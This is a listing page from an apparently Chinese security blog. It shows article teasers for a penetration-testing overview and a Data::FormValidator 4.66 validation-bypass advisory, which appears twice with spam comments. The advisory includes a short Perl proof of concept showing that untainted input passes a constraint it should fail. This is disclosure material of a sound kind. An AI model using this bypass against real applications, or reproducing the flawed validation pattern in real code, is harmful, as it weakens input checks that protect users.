各种网络环境渗透测试简述 & 点评
文章转自"土司",作者" liulovely ",文章简洁明朗,一目了然,虽然字多了点.但确实是一篇不可多得的好"作文",希望对广大网安人士能够起到点睛之用 一、渗透测试概念 渗透测试 (penetration test)并没有一个标准的定义，国外一些安全组织达成共识的通用说法是：渗透测试是......
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
Perl FormValidator模块"results()安全绕过漏洞
影响： Red Hat Fedora 16 Red Hat Fedora 15 Red Hat Fedora 14 CPAN Data::FormValidator 4.66 exploit: !/opt/perl/5.12/bin/perl use strict; use warnings; use Data::FormValidator; "some_unrelated_string" =~ m/^.*$/; my $profile = { untaint_all_constraints => 1, required => [qw(a)], constraint_methods => { a => qr/will_never_match/, }, }; my $results = Data::FormValidator->check({ a => 1 }, $profile); warn $results->valid('a'); 评论区： Jennylee： Way to use the internet to help pelpoe solve problems! [2011-09-18 22:09:35] Jaylon： Alaaakzam-information found, problem solved, thanks! [2011-09-18 17:42:33] 韩式婚纱摄影工作室： 坐个沙发学学......
阅读全文 →Perl FormValidator模块"results()安全绕过漏洞
影响： Red Hat Fedora 16 Red Hat Fedora 15 Red Hat Fedora 14 CPAN Data::FormValidator 4.66 exploit: !/opt/perl/5.12/bin/perl use strict; use warnings; use Data::FormValidator; "some_unrelated_string" =~ m/^.*$/; my $profile = { untaint_all_constraints => 1, required => [qw(a)], constraint_methods => { a => qr/will_never_match/, }, }; my $results = Data::FormValidator->check({ a => 1 }, $profile); warn $results->valid('a'); 评论区： Jennylee： Way to use the internet to help pelpoe solve problems! [2011-09-18 22:09:35] Jaylon： Alaaakzam-information found, problem solved, thanks! [2011-09-18 17:42:33] 韩式婚纱摄影工作室： 坐个沙发学学......
阅读全文 →